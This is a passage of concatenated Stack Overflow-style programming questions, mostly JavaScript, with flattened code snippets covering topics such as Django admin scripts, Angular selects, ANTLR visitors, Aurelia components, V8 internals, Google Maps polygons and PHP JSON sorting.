when using the application . I have a function that prints internal application 's state i.e current value of variables : I also have a list of immutable `` contants '' which are hidden with closure but I can print them with accessor method called list ( ) ; in console . Something like this : The third place where I use console in debugging purposes is in my init ( ) ; function , where I print exception error if it happens.As my question states , should I keep these console statements in production code ? But they come very useful for later maintenance of the code . Let me know your thoughts . printData : function ( ) { var props = { operation : this.operation , operand : this.operand , operandStr : this.operandStr , memory : this.memory , result : this.result , digitsField : this.digitsField , dgField : this.dgField , operationField : this.operationField , opField : this.opField } ; console.dir ( props ) ; } list : function ( ) { var index = 0 , newStr = `` '' , constant = `` ; for ( constant in constants ) { if ( constants.hasOwnProperty ( constant ) ) { index = constant.indexOf ( ' _ ' ) ; newStr = constant.substr ( index + 1 ) ; console.log ( newStr + `` : `` + constants [ constant ] ) ; } } } init : function ( config ) { try { this.memoryLabelField = global.getElementById ( MEMORY_LABEL ) ; this.digitsField = global.getElementById ( DIGITS_FIELD ) ; this.digitsField.value = ' 0 ' ; this.operationField = global.getElementById ( OPERATION_FIELD ) ; this.operationField.value = `` ; return this ; } catch ( error ) { console.log ( error.message ) ; return error.message ; } }",Should I keep console statements in JavaScript application ? "JS : models.pyadmin.py-admin.jsNow I have imported the file in the admin.py , How do I trigger the jQuery function such that it works.update- the function works but , I need to reload the page to make the field appear and disappear . I want some thing equivalent to 'on-click ' event in HTML . I have no idea about Javascript . from django.db import modelsfrom django.contrib.auth.models import UserSTATUS_CHOICES = ( ( 1 , 'Accepted ' ) , ( 0 , 'Rejected ' ) , ) class Leave ( models.Model ) : -- -- -- -- -- -- -- -- status = models.IntegerField ( choices=STATUS_CHOICES , default = 0 ) reason_reject = models.CharField ( ( 'reason for rejection ' ) , max_length=50 , blank=True ) def __str__ ( self ) : return self.name from django.contrib import adminfrom .models import Leave @ admin.register ( Leave ) class LeaveAdmin ( admin.ModelAdmin ) : -- -- -- -- -- -- -- -- - class Media : js = ( '/static/admin/js/admin.js ' ) ( function ( $ ) { $ ( function ( ) { var reject = document.getElementById ( 'id_status_0 ' ) var accept = document.getElementById ( `` id_status_1 '' ) var reason_reject = document.getElementById ( `` id_reason_reject '' ) if ( accept.checked == true ) { reason_reject.style.display = `` none '' } else { reason_reject.style.display = `` block '' } } ) ; } ) ( django.jQuery ) ;",How hide/show a field upon selection of a radio button in django admin ? "JS : So JavaScript is a functional language , classes are defined from functions and the function scope corresponds to the class constructor . I get it all now , after a rather long time studying how to OOP in JavaScript.What I want to do is not necessarily possible , so I first want to know if this is a good idea or not . So let 's say I have an array and a class like the following : And I add contacts with the following function : Ca n't I make it so new Entry ( ) would put itself into AddressBook ? If I ca n't do this on create , it would be interesting to do it with a method in the Entry prototype as well . I could n't figure out a way to do anything similar . var Entry = function ( name , numbers , address ) { this.name = name ; if ( typeof numbers == `` string '' ) { this.numbers = [ ] ; this.numbers.push ( numbers ) ; } else this.numbers = numbers ; this.address = address ; } ; var AddressBook = [ ] ; function addContact ( name , numbers , address ) { AddressBook.push ( new Entry ( name , numbers , address ) ) ; }",Self-pushing object constructor "JS : This is similar to a number of other questions on SO , but not exactly the same as any I can find.Which is the best approach for checking for an undefined value in Javascript , and why ? First example : Second example : So , the first example is comparing the name of the type to a string , and the second is comparing the variable to the undefined object , using the equality operator , which checks that the types are the same as well as the values.Which is better ? Or are they both as good as one another ? Note that I 'm not asking about any difference between undefined and null , or truthy or falsey , just which of these two methods is correct and/or better . var a ; if ( typeof ( a ) === 'undefined ' ) { ... } var a ; if ( a === undefined ) { ... }",Should I use ( typeof ( val ) === 'undefined ' ) or ( val === undefined ) ? "JS : Trying to figure out why the model does not update when the bound selected option no longer exists . I would expect the model 's property to update to undefined/null/empty string.Situation : One select drives another select using filter . After selections are made , go to the original select and choose another option . Filter will remove the second select option as expected , but the model property on the second select will be unchanged.Problem : When you go to pass the model , it will be populated with bad/previous values . In addition , using Angular validation , the select being required ... the form is technically `` valid '' because the model has a value ( the previous value ) for the property.HTML : Model : I 'm fairly certain I could tie an ng-change function to the first to force it to update the model , but is there a better way ? Example Plunker demonstrating the problem < select name= '' Category '' ng-model= '' selectedCategory '' ng-options= '' item.name as item.name for item in categories '' > < option value= '' '' > All Categories < /option > < /select > < select name= '' SubCategory '' ng-model= '' selectedSubCategory '' ng-options= '' item.name as item.subCategory for item in categories | filter : selectedCategory '' > < option value= '' '' > All SubCategories < /option > < /select > app.controller ( 'MainCtrl ' , function ( $ scope ) { $ scope.categories = [ { `` id '' : `` 1 '' , `` name '' : `` Truck '' , `` subCategory '' : `` Telescope '' } , { `` id '' : `` 2 '' , `` name '' : `` Truck '' , `` subCategory '' : `` Hazmat '' } , { `` id '' : `` 3 '' , `` name '' : `` Van '' , `` subCategory '' : `` Mini '' } ] ; } ) ;",Angular model fails to update after select option is filtered out "JS : What is the best way to make Jest pass the following test : I do n't want to distinguish negative zero and positive zero . Maybe I should use some other function instead of .toEqual ? Or I should replace all blocks like this : to ? test ( 'example ' , ( ) = > { expect ( 0 ) .toEqual ( -0 ) ; } ) ; expect ( a ) .toEqual ( b ) ; expect ( a === 0 ? +0 : a ) .toEqual ( b === 0 ? +0 : b ) ;",How to make jest not distinguish between negative zero and positive zero ? "JS : I actually have a problem with the implementation of an antlr-visitor in JavaScript . I have already created a grammar . However , I found no documentation , example or tutorial . Somehow only multi-dimensional arrays are returned . A similar problem occured there : https : //github.com/antlr/antlr4/issues/1995Unfortunately there is no solution in this discussion . In Java I have already a finished visitor and therefore just want to convert it to JS . So I would prefer , if there is a solution without a listener.Thanks in advance for any helpEDIT : Here is the code for the visitor , the grammar and the startingtool.At this point I do n't know how to continue and implement the methods for the visitor . const antlr4 = require ( 'antlr4 ' ) ; const grammarLexer = require ( './SimpleGrammarLexer ' ) ; const grammarParser = require ( './SimpleGrammarParser ' ) ; const extendGrammarVisitor = require ( './ExtendGrammarVisitor.js ' ) ; export class SimpleGrammar { public static parseCode ( formula : string ) { const inputStream = new antlr4.InputStream ( formula ) ; const lexer = new grammarLexer.SimpleGrammarLexer ( inputStream ) ; const commonTokenStream = new antlr4.CommonTokenStream ( lexer ) ; const parser = new grammarParser.SimpleGrammarParser ( commonTokenStream ) ; const visitor = new extendGrammarVisitor.ExtendGrammarVisitor ( ) ; const parseTree = parser.r ( ) ; visitor.visitR ( parseTree ) ; } } grammar SimpleGrammar ; r : input ; INT : [ 0-9 ] + ; DOUBLE : [ 0-9 ] + ' . ' [ 0-9 ] + ; PI : 'pi ' ; E : ' e ' ; POW : '^ ' ; NL : '\n ' ; WS : [ \t\r ] + - > skip ; ID : [ a-zA-Z_ ] [ a-zA-Z_0-9 ] * ; PLUS : '+ ' ; EQUAL : '= ' ; MINUS : '- ' ; MULT : '* ' ; DIV : '/ ' ; LPAR : ' ( ' ; RPAR : ' ) ' ; input : setVar NL input # ToSetVar | plusOrMinus NL ? EOF # Calculate ; setVar : ID EQUAL plusOrMinus # SetVariable ; plusOrMinus : plusOrMinus PLUS multOrDiv # Plus | plusOrMinus MINUS multOrDiv # Minus | multOrDiv # ToMultOrDiv ; multOrDiv : multOrDiv MULT pow # Multiplication | multOrDiv DIV pow # Division | pow # ToPow ; pow : unaryMinus ( POW pow ) ? # Power ; unaryMinus : MINUS unaryMinus # ChangeSign | atom # ToAtom ; atom : PI # ConstantPI | E # ConstantE | DOUBLE # Double | INT # Int | ID # Variable | LPAR plusOrMinus RPAR # Braces ; `` use strict '' ; var __extends = ( this & & this.__extends ) || function ( d , b ) { for ( var p in b ) if ( b.hasOwnProperty ( p ) ) d [ p ] = b [ p ] ; function __ ( ) { this.constructor = d ; } d.prototype = b === null ? Object.create ( b ) : ( __.prototype = b.prototype , new __ ( ) ) ; } ; var simpleGrammarVisitor = require ( './SimpleGrammarVisitor.js ' ) ; var ExtendGrammarVisitor = ( function ( _super ) { __extends ( ExtendGrammarVisitor , _super ) ; function ExtendGrammarVisitor ( ) { _super.apply ( this , arguments ) ; } ExtendGrammarVisitor.prototype.visitR = function ( ctx ) { return this.visitChildren ( ctx ) ; } ; ExtendGrammarVisitor.prototype.visitToSetVar = function ( ctx ) { return this.visitChildren ( ctx ) ; } ; ExtendGrammarVisitor.prototype.visitCalculate = function ( ctx ) { return this.visitChildren ( ctx ) ; } ; ExtendGrammarVisitor.prototype.visitSetVariable = function ( ctx ) { return this.visitChildren ( ctx ) ; } ; ExtendGrammarVisitor.prototype.visitToMultOrDiv = function ( ctx ) { return this.visitChildren ( ctx ) ; } ; ExtendGrammarVisitor.prototype.visitPlus = function ( ctx ) { var example = this.visit ( ctx.plusorminus ( 0 ) ) ; // ? ? ? return this.visitChildren ( ctx ) ; } ; ExtendGrammarVisitor.prototype.visitMinus = function ( ctx ) { return this.visitChildren ( ctx ) ; } ; ExtendGrammarVisitor.prototype.visitMultiplication = function ( ctx ) { return this.visitChildren ( ctx ) ; } ; ExtendGrammarVisitor.prototype.visitDivision = function ( ctx ) { return this.visitChildren ( ctx ) ; } ; ExtendGrammarVisitor.prototype.visitToPow = function ( ctx ) { return this.visitChildren ( ctx ) ; } ; ExtendGrammarVisitor.prototype.visitPower = function ( ctx ) { return this.visitChildren ( ctx ) ; } ; ExtendGrammarVisitor.prototype.visitChangeSign = function ( ctx ) { return this.visitChildren ( ctx ) ; } ; ExtendGrammarVisitor.prototype.visitToAtom = function ( ctx ) { return this.visitChildren ( ctx ) ; } ; ExtendGrammarVisitor.prototype.visitConstantPI = function ( ctx ) { return this.visitChildren ( ctx ) ; } ; ExtendGrammarVisitor.prototype.visitConstantE = function ( ctx ) { return this.visitChildren ( ctx ) ; } ; ExtendGrammarVisitor.prototype.visitDouble = function ( ctx ) { return this.visitChildren ( ctx ) ; } ; ExtendGrammarVisitor.prototype.visitInt = function ( ctx ) { return this.visitChildren ( ctx ) ; } ; ExtendGrammarVisitor.prototype.visitVariable = function ( ctx ) { return this.visitChildren ( ctx ) ; } ; ExtendGrammarVisitor.prototype.visitBraces = function ( ctx ) { return this.visitChildren ( ctx ) ; } ; return ExtendGrammarVisitor ; } ( simpleGrammarVisitor.SimpleGrammarVisitor ) ) ; exports.ExtendGrammarVisitor = ExtendGrammarVisitor ;",How to build a JavaScript ANTLR visitor "JS : I 'm currently trying to learn Aurelia I 've managed to use the aurelia-cli to set up a basic app and I 'm now trying to build a custom component . I had the impression of Aurelia that I could set up a structure like this : In app.js I have managed to get my component to load using the < require > tag in the view : and then added that tag to the view : This works exactly as I expected , however that component seems to be ignoring the view-model.Currently my component view looks like this : and it 's view-model looks like this : When I run my app all I see is the span with the non-dynamic data in . The HTML output from the console looks like this : Can someone please tell me where I 'm going wrong ? > /app_folder > -- /src > -- -- app.html ( root component view ) > -- -- app.js ( root component view-model ) > -- -- /components > -- -- -- /my-component > -- -- -- -- my-component.html ( custom component view ) > -- -- -- -- my-component.js ( custom component view-model ) < require from = `` ./components/my-component/my-component.html '' > < /require > < my-component / > < template > < h1 > $ { header } < /h1 > < span > Non-dynamic data for testing < /span > < /template > export class MyComponent { constructor ( ) { this.header = 'Service started ! ' ; } } < my-component class= '' au-target '' au-target-id= '' 3 '' > < h1 > < /h1 > < span > Non-dynamic data for testing < /span > < /my-component >",Aurelia component not loading view-model "JS : I know the solutions for cross browser domain calls . Either use JSONP , do a proxy call , or accept domains on server . I found 1 more strange way today at my company.Method : They are changing the host to match the host of second server by using this -Then they are creating a hidden iframe and getting contents in iframe and replacing contents to visible element.Problem : It works with iframe but if I do ajax call , it does n't work . Any words on this ? window.location.host = `` xyz.com '' ; ordocument.domain = `` xyz.com '' ;",Cross domain issue with iframes "JS : I have written some simple jQuery to have the background of my navbar change opacity from transparent to blue relative to the users scroll position.My next task is to have the font color transition as well . I want the color to change the same way the navs background changes ( relative to the users scroll position ) . I started by creating two arrays containing hexadecimal values of colors to represent the color scale for the font transition.With my scrollTop ( ) limit set to 450 , within where these transitions should take place , I have 10 colors in each array . I want to change the CSS of the font color each time the user scrolls down 45px ( 450 / 10 = 45 ) by iterating through the colors in the arrays.Here are my jQuery selectors for the elements that should be changing color using the arrays I posted above : I 'm unsure wether I should be using a for loop , a while loop , or purely if statements ? Some advice or direction would be greatly appreciated ! I can also post more code upon request.Cheers ! **UPDATEHere is my HTML.This is my updated jQuery : For some reason the styles are n't being applied and I 'm not sure why . My selectors are properly set to override the style set in my CSS stylesheet . Also , the fontScale array index is logging to my console the correct index values.Any ideas ? $ ( window ) .scroll ( function ( ) { var range = $ ( this ) .scrollTop ( ) ; var limit = 450 ; var calc = range / limit ; console.log ( range ) ; //Bg Opacity Control if ( range === 0 ) { $ ( '.navBg ' ) .css ( { opacity : 0 } ) ; } else if ( range < limit ) { $ ( '.navBg ' ) .css ( { opacity : calc } ) ; } else if ( range > limit ) { $ ( '.navBg ' ) .css ( { opacity : 1 } ) ; } } ) ; //Blue to White var fontScale = [ `` # 19BFFF '' , `` # 336CFF '' , `` # 4CCDFF '' , `` # 66D4FF '' , `` # 7FDBFF '' , `` # 99E2FF '' , `` # B2E9FF '' , `` # CCF0FF '' , `` # E5F7FF '' , `` # FFF '' ] ; //White to Gray var hoverScale = [ `` # eaeaea '' , `` # d6d5d5 '' , `` # c1c0c1 '' , `` # adacac '' , `` # 989798 '' , `` # 848283 '' , `` # 6f6e6e '' , `` # 5a595a '' , `` # 464445 '' , `` # 323031 '' ] ; //Main Font color to use fontScale array $ ( '.navbar .navbar-header .navbar-brand ' ) $ ( '.navbar # navbar ul li a ' ) //active links to use hoveScale array $ ( '.navbar # navbar .navbar-nav > .active > a ' ) //Hover links to use hoverScale array $ ( '.navbar # navbar ul li a : hover ' ) < div class= '' navBg '' > < /div > < nav class= '' navbar navbar-fixed-top '' > < div class= '' container '' > < div class= '' navbar-header '' > < button type= '' button '' class= '' navbar-toggle collapsed '' data-toggle= '' collapse '' data-target= '' # navbar '' > < span class= '' sr-only '' > Toggle navigation < /span > < span class= '' icon-bar '' > < /span > < span class= '' icon-bar '' > < /span > < span class= '' icon-bar '' > < /span > < /button > < span class= '' navbar-brand '' href= '' # home '' > JG < /span > < /div > < div id= '' navbar '' class= '' navbar-collapse collapse navbar-right '' > < ul class= '' nav navbar-nav '' > < li > < a href= '' # home '' > Home < /a > < /li > < li > < a href= '' # about '' > About < /a > < /li > < li > < a href= '' # services '' > Services < /a > < /li > < li > < a href= '' # contact '' > Contact < /a > < /li > < /ul > < /div > < /div > < /nav > var currentFontIndex = range * fontScale.length / limit ; currentFontIndex = Math.round ( currentFontIndex ) ; console.log ( fontScale [ currentFontIndex ] ) ; if ( currentFontIndex > fontScale.length ) { $ ( '.navbar .navbar-header .navbar-brand ' ) .css ( { color : fontScale [ currentFontIndex ] } ) ; $ ( '.navbar # navbar ul li a ' ) .css ( { color : fontScale [ currentFontIndex ] } ) ; }",How to create a color transition controlled by window scroll JS : This seems like it should be pretty straightforward : Why does n't it work ? var print = console.log ; print ( `` something '' ) ; // Fails with Invalid Calling Object ( IE ) / Invalid Invocation ( Chrome ),Why ca n't I rename console.log ? "JS : HI i am trying to sort the students after filter . After filtering the students i am appending and classes class of the button and text as like shown in the below image.My dynamic code will return HTML like this : I want to show the selected students first how can i do this.. ? This is my javascript code| : < tbody > < tr > < td > < span > < img > < /span > < p > Rasmus1 Lerdorf < /p > < p > < b > Hallticket < /b > : S28J1 < /p > < /td > < td style= '' line-height:45px '' > 4 < /td > < td style= '' line-height:45px '' > 9 < /td > < td style= '' line-height:45px '' > 8 < /td > < td style= '' line-height:45px '' > 4.5 < /td > < td > < span id= '' stu28 '' class= '' btn btn-danger reject-student selection-class '' > Not Selected < /span > < /td > < td style= '' line-height:45px '' > < input class= '' overrideStudent '' type= '' text '' name= '' picomment [ 28 ] '' > < /td > < /tr > < tr > < td > < span > < img > < /span > < p > Bill Gates < /p > < p > < b > Hallticket < /b > : S29J1 < /p > < /td > < td style= '' line-height:45px '' > 9 < /td > < td style= '' line-height:45px '' > 10 < /td > < td style= '' line-height:45px '' > 8 < /td > < td style= '' line-height:45px '' > 6.1 < /td > < td > < span id= '' stu28 '' class= '' btn selection-class btn-success select-student '' > Selected < /span > < /td > < td style= '' line-height:45px '' > < input class= '' overrideStudent '' type= '' text '' name= '' picomment [ 29 ] '' > < /td > < /tr > < /tbody > success : function ( response ) { $ ( `` .selection-class '' ) .addClass ( 'btn-danger reject-student ' ) ; $ ( `` .selection-class '' ) .removeClass ( 'btn-success select-student ' ) ; $ ( `` .selection-class '' ) .text ( 'Not Selected ' ) ; $ .each ( response [ 'students ' ] , function ( k , student ) { $ ( `` # stu '' +student.student_id ) .removeClass ( 'btn-danger reject-student ' ) ; $ ( `` # stu '' +student.student_id ) .addClass ( 'btn-success select-student ' ) ; $ ( `` # stu '' +student.student_id ) .text ( 'Student Selected ' ) ; } ) ; $ ( `` # success_message '' ) .show ( ) ; $ ( `` # success_message '' ) .html ( response [ 'message ' ] ) ;",How to sort dynamic table data after appending "JS : Browsing the v8 tree , under the src directory , some js files were there , providing some basic JS objects like Math , Array etc . Browsing those files , I saw identifiers including a percent sign ( % ) in their names , i.e . % Foo . I first naively thought it was some other allowed character in JS 's identifiers , but when I tried it in shell , it yelled at me , saying that I 'm violating syntax rules . But if it is a syntax error , how come d8 works ? Here are an example from the actual source code : src/apinatives.js lines 44 to 47 , git clone from github/v8/v8src/apinatives.js lines 41 to 43 , git clone from github/v8/v8How come this identifiers do not yield syntax errors . All js files , including math.js and string.js and all others ? : wq function Instantiate ( data , name ) { if ( ! % IsTemplate ( data ) ) return data ; var tag = % GetTemplateField ( data , kApiTagOffset ) ; switch ( tag ) { function SetConstructor ( ) { if ( % _IsConstructCall ( ) ) { % SetInitialize ( this ) ;",How can % signs be used in identifiers "JS : RxJS 5.5 allows grabbing lettable operators and piping them like so : How would I use the do operator between these commands ? import { ajax } from 'rxjs/observable/dom/ajax'import { catchError , map , retry } from 'rxjs/operators'ajax.getJSON ( 'https : //example.com/api/test ' ) .pipe ( retry ( 3 , 1000 ) , map ( fetchUserFulfilled ) , catchError ( console.error ) )",How would I use ` do ` as an RxJS lettable operator ? "JS : Today morning I came across a tweet from Šime Vidas where he presented the following possibility of using super in object literals : This works , and assigning B.__proto__ = A ; instead seems to work as well , both in Firefox and Chrome.So I figured I could do the same with Object.create : Unfortunately , this results in an error in both Firefox : SyntaxError : use of super property accesses only valid within methods or eval code within methodsAnd Chrome : Uncaught SyntaxError : 'super ' keyword unexpected hereThe same happens when I try to pass a property descriptor object to the second argument of Object.create.Semantically , they both seem equal to me , so I 'm not quite sure what is happening ( is it because of the object literal ? ) .Now I 'm wondering , is this standard behaviour that is exactly defined ( spec reference appreciated ) ? Are there some implementations missing for Object.create , or should object literals not work in the first place ? let A = { run ( ) { console.log ( ' A runs ' ) ; } } ; let B = { run ( ) { super.run ( ) ; } } ; Object.setPrototypeOf ( B , A ) ; B.run ( ) ; // A runs let A = { run ( ) { console.log ( ' A runs ' ) ; } } ; let B = Object.create ( A ) ; B.run = function ( ) { super.run ( ) } ;",Using super in an object created with Object.create "JS : I 've looked all the questions and answers on stackoverflow , but could n't find the simple answer to this.What is exactly the difference between string and object ? For example , if I have this code : What exactly is the difference ? I understand that new complicates the code , and new String slows it down.Also , I understand a==b is true , but going more strictly a===b is false . Why ? I seem to fail to understand the process behind the object and string creation.For example : a==b is false var a = 'Tim ' ; var b = new String ( 'Tim ' ) ; var a = new String ( 'Tim ' ) ; var b = new String ( 'Tim ' ) ;",Javascript : String vs . Object "JS : I 'm creating a GreaseMonkey script to improve the user interface of the 10k tools Stack Overflow uses . I have encountered an unreproducible and frankly bizarre problem that has confounded me and the others in the JavaScript room on SO Chat . We have yet to find the cause after several lengthy debugging sessions . The problematic script can be found here . Source - InstallThe problem occurs at line 85 , the line after the 'vodoo ' comment : It might look a little weird , but the + in front of the two variables and the inner bracket is for type coercion , the inner middle + is for addition , and the other ones are for concatenation . Nothing special , but observant reader might note that type coercion on the inner bracket is unnecessary , since both are already type coerced to numbers , and type coercing result is useless when they get concatenated into a string anyway . Not so ! Removing the + breaks the script , causing f.offensive and f.spam to be concatenated instead of added together . Adding further console.log only makes things more confusing : Source : http : //chat.stackoverflow.com/transcript/message/203261 # 203261The problem is that this is unreproducible - running scripts likein the Firebug console yields the correct result , as doesEven pulling out large chunks of the code and running them in the console does not reproduce this bug : Tim Stone in the chatroom has reproduction instruction for those who are below 10k . This bug only appears in Firefox - Chrome does not appear to exhibit this problem , leading me to believe that this may be a problem with either Firefox 's JavaScript engine , or the Greasemonkey add-on . Am I right ? I can be found in the JavaScript room if you want more detail and/or want to discuss this . return ( t + ' ( ' + + ( +f.offensive + +f.spam ) + ' ) ' ) ; console.log ( f.offensive + f.spam ) ; // 50console.log ( `` + ( +f.offensive + +f.spam ) ) ; // 5 , but returning this yields 50 somehowconsole.log ( `` + ( +f.offensive + +f.spam ) + `` ) ; // 50 console.log ( ' a ' + ( + ' 3 ' + + ' 1 ' ) + ' b ' ) ; ( function ( ) { return ' a ' + ( + ' 3 ' + + ' 1 ' ) + ' b ' ; } ) ( ) ; $ ( '.post-menu a [ id^=flag-post- ] ' ) .each ( function ( ) { var f = { offensive : ' 4 ' , spam : ' 1 ' } ; if ( f ) { $ ( this ) .text ( function ( i , t ) { // Vodoo - please do not remove the '+ ' in front of the inner bracket return ( t + ' ( ' + + ( +f.offensive + +f.spam ) + ' ) ' ) ; } ) ; } } ) ;",Problem with type coercion and string concatenation in JavaScript in Greasemonkey script on Firefox "JS : I want to create a hole in my Javascript Google API V3 , so i follow Beginning Google Map API V3 . But the code is rendering the whole area . Here is my Javascript code . ( function ( ) { window.onload = function ( ) { // Creating a map var options = { zoom : 6 , center : new google.maps.LatLng ( 36.5 , -79.8 ) , mapTypeId : google.maps.MapTypeId.ROADMAP } ; var map = new google.maps.Map ( document.getElementById ( 'map ' ) , options ) ; // Creating an array with the points for the outer polygon var polyOuter = [ new google.maps.LatLng ( 37.303 , -81.256 ) , new google.maps.LatLng ( 37.303 , -78.333 ) , new google.maps.LatLng ( 35.392 , -78.333 ) , new google.maps.LatLng ( 35.392 , -81.256 ) ] ; // Creating an array with the points for the inner polygon var polyInner = [ new google.maps.LatLng ( 36.705 , -80.459 ) , new google.maps.LatLng ( 36.705 , -79 ) , new google.maps.LatLng ( 35.9 , -79 ) , new google.maps.LatLng ( 35.9 , -80.459 ) ] ; var points = [ polyOuter , polyInner ] ; // Creating the polygon var polygon = new google.maps.Polygon ( { paths : points , map : map , strokeColor : ' # ff0000 ' , strokeOpacity : 0.6 , strokeWeight : 3 , fillColor : ' # FF0000 ' , fillOpacity : 0.35 } ) ; } ; } ) ( ) ;",I want to create a Donut with Javascript API V3 ( Empty space inside like a hole ) "JS : When I 'm loading this animation , the text is starting from Left side of the HTML page.But I need it like the below `` Hello '' Should start from little outside of Left Top corner side of the html page `` Your '' should start from little outside Middle Top ( center top ) of the page `` World '' should start from little outside Right Top Corner of the page ( I have edited the above for better clarity and understanding ) All together , should come to the center zooming in . And all of them have to return zooming out to the left side of the page.JSFiddle $ ( ' # hello ' ) .animate ( { zoom : '150 % ' , left : window.innerWidth / 1 } , 3000 , function ( ) { // 4 . Pause for 3 seconds $ ( this ) .delay ( 3000 ) // 6. zooms out to 200 % heading towards left top corner , // ( logo position ) // 7 . Fades out when reaching the logo 8 . Logo appears .animate ( { zoom : '40 % ' , left:0 } , 3000 , function ( ) { $ ( this ) .find ( 'span ' ) .fadeOut ( ) } ) } ) ; h1 { font-size : 1em ; zoom : 200 % ; transition : zoom 1s ease-in-out ; } < script src= '' https : //ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js '' > < /script > < div id= '' hello '' > < h1 > & nbsp ; H < span > ello < /span > & nbsp ; Y < span > our < /span > & nbsp ; W < span > orld < /span > < /h1 >","Text starting position Left , Center and Right" "JS : Sort of trying out some quirks in javascript : First I didThis prints 51 , this is normal right , both number and string have a + operator , but since string is the first variable it will convert 1 to a string.Now when I did this : I expected output to be 6 , as I thought it would convert string to a number . However , the magic output was 15 . Could anyone more experienced in javascript brighten this up for me ? console.log ( `` 5 '' + 1 ) ; console.log ( 1 + `` 5 '' )",Why is number + string a string in javascript ? "JS : Let 's have , for example , a Dog class : Compiled to JS : This works equally well and is less complicated : Is there any ( other than `` aesthetic '' ) reason for using the anonymous function wrapper ? class Dog { static food ; private static static_var = 123 ; constructor ( private name ) { } speak ( ) { console.log ( this.name + ' , I eat ' + Dog.food + ' , ' + Dog.static_var ) ; } } var Dog = ( function ( ) { function Dog ( name ) { this.name = name ; } Dog.prototype.speak = function ( ) { console.log ( this.name + ' , I eat ' + Dog.food + ' , ' + Dog.static_var ) ; } ; Dog.static_var = 123 ; return Dog ; } ) ( ) ; function Dog ( name ) { this.name = name ; } Dog.prototype.speak = function ( ) { console.log ( this.name + ' , I eat ' + Dog.food + ' , ' + Dog.static_var ) ; } ; Dog.static_var = 123 ;",Why does TypeScript wrap class in anonymous function ? "JS : I 'm a new member of a Vue.js project that uses the tilde ( ~ ) notation in module imports , as inThe project repository contains all kinds of files all thrown together : a Vagrant machine , a Laravel backend application , config files and a Vue.js SPA . The latter is in a nested folder structure ( resources/assets/js/ ) , which should be interpreted as the project root , hence ~.Using Vim , I 'm used to being able to jump to a linked file via gf . When I do that on the path shown above , Vim complains that the file does not exist , as it probably interprets the tilde ( somewhat correctly ) as the user 's home folder.Googling yielded no result , mainly because I 'm at a loss what exactly to search for . This appears to be some magic Webpack is doing . As the other team members use WebStorm/PHPStorm , they do not have this problem.How do I get Vim to resolve the path correctly within the project scope ? Update with an example : Webpack has an alias setting , which allows to define any path as an alias to use in source code files . It looks like this : Ignore the $ vue key , it 's specific to Vue.js with Webpack . ~ and sass are interesting . The first one is basically a substitute filter that exchanges every ~ in paths to resources/assets/js . The same for sass with it 's according path . However , the import statements vary . Here 's an example of a Vue single file component with both import statements as an example : Now , when using gf , it would be fantastic if it could resolve those ( weird ) combinations according to the following rules : Paths starting with ~/ should replace ~ to resources/assets/js and try to find files by attaching the extensions .js , .vue and .json.Paths starting with ~sass should replace ~ to resources/assets/sass and try to find files by attaching the extension .scss.I know this is involved — and happened way before I joined the team . There 's an interesting project trying to simplify this ( https : //github.com/davidosomething/vim-enhanced-resolver ) but unfortunately it appears to be broken , as it throws errors trying to resolve an existing path.Any help is greatly appreciated . import WhateverApi from '~/api/whatever ' ; resolve : { alias : { vue $ : 'vue/dist/vue.esm.js ' , '~ ' : path.resolve ( __dirname , 'resources/assets/js ' ) , sass : path.resolve ( __dirname , 'resources/assets/sass ' ) , } , extensions : [ '* ' , '.js ' , '.vue ' , '.json ' ] , } , < template > < div > < p > Some content. < /p > < /div > < /template > < script > import WhateverApi from '~/api/whatever ' ; export default { } ; < /script > < style lang= '' scss '' scoped > @ import '~sass/variables/all ' ; < /style >",Resolving JavaScript modules via 'gf ' in Vim when using a Webpack tilde alias "JS : Lets suppose a case where a huge string is generated from a small string using some javascript logic , and then the text file is forced to be downloaded on the browser.This is possible using an octet-stream download by putting it as an href , as mentioned in this answer : Create a file in memory for user to download , not through server.But this solution requires 'text ' to be fully generated before being pushed for the download , hence it will have to be held in browser memory fully .Is it possible to stream the text as it gets generated using CLIENT SIDE LOGIC ONLY ? For example : function download ( filename , text ) { var pom = document.createElement ( ' a ' ) ; pom.setAttribute ( 'href ' , 'data : text/plain ; charset=utf-8 , ' + encodeURIComponent ( text ) ) ; pom.setAttribute ( 'download ' , filename ) ; pom.click ( ) ; } var inputString = `` A '' ; var outStr = `` '' ; for ( var i = 0 ; i < 10000000 ; i++ ) { /* concatenate inputString to output on the go */ }",Is it possible to stream an octet stream being generated in javascript ? "JS : I have two JSON arrays coming from an external website . I sort and merge the two arrays , decode them and then sort them from highest to lowest by ID.Currently , when the option 'alphabetical ' is clicked , ? sort=alphabetical is added onto the end of the URL and when the page has finished reloading , the JSON arrays are once again decoded and merged.This is not my desired outcome : I do not want the JSON arrays to be decoded and merged again when the option is clicked - I simply want the already decoded and merged JSON arrays to be sorted alphabetically.Arrays : Sorting : $ homepage = array ( ) ; $ homepage [ ] = ' { `` info '' : { `` collection '' : [ { `` Name '' : '' Charlie '' , `` ID '' : '' 7 '' } , { `` Name '' : '' Emma '' , `` ID '' : '' 9 '' } ] } } ' ; $ homepage [ ] = ' { `` info '' : { `` collection '' : [ { `` Name '' : '' Bob '' , `` ID '' : '' 5 '' } ] } } ' ; $ data = array ( ) ; foreach ( $ homepage as $ homepage2 ) { $ tmp=json_decode ( $ homepage2 , false ) ; $ data = array_merge ( $ data , $ tmp- > info- > collection ) ; } if ( ! empty ( $ _GET [ 'sort ' ] ) & & $ _GET [ 'sort ' ] == 'alphabetical ' ) { usort ( $ data , function ( $ a , $ b ) { return strcmp ( $ a- > Name , $ b- > Name ) ; } ) ; } else { usort ( $ data , function ( $ a , $ b ) { return $ b- > ID - $ a- > ID ; } ) ; } echo ' < select onchange= '' location.href = this.value ; '' > < option value= '' example.php ? sort=alphabetical '' > Alphabetical < /option > < /select > ' ; foreach ( $ data as $ key ) { echo ' < a href= '' test.com '' > < p > '. $ key- > ID . ' < /p > < p > '. $ key- > Name . ' < /p > < /a > ' ; }",Preserve JSON arrays while sorting "JS : I have this code : I need to let the user know if he left a Textbox empty , I tried something like this.. ( not working ) What have I missed ? < PlaceHolder > < div class= '' greenDiv '' > < asp : TextBox ID= '' a '' runat= '' server '' / > < /div > < div class= '' greenDiv '' > < asp : TextBox ID= '' ab '' runat= '' server '' / > < /div > < /PlaceHolder > $ ( '.greenDiv > input : text ' ) .blur ( function ( ) { if ( ! $ ( this ) .val ( ) ) { alert ( `` fill this field '' ) ; } } ) ;",How to check if a specific textbox under a specific div is empty "JS : I have a problem while using a watch , i want to watch an object of array , lets suppose if any of the array from the object changes then watch should be fired so i 'm confused about what to use for this purpose.Can 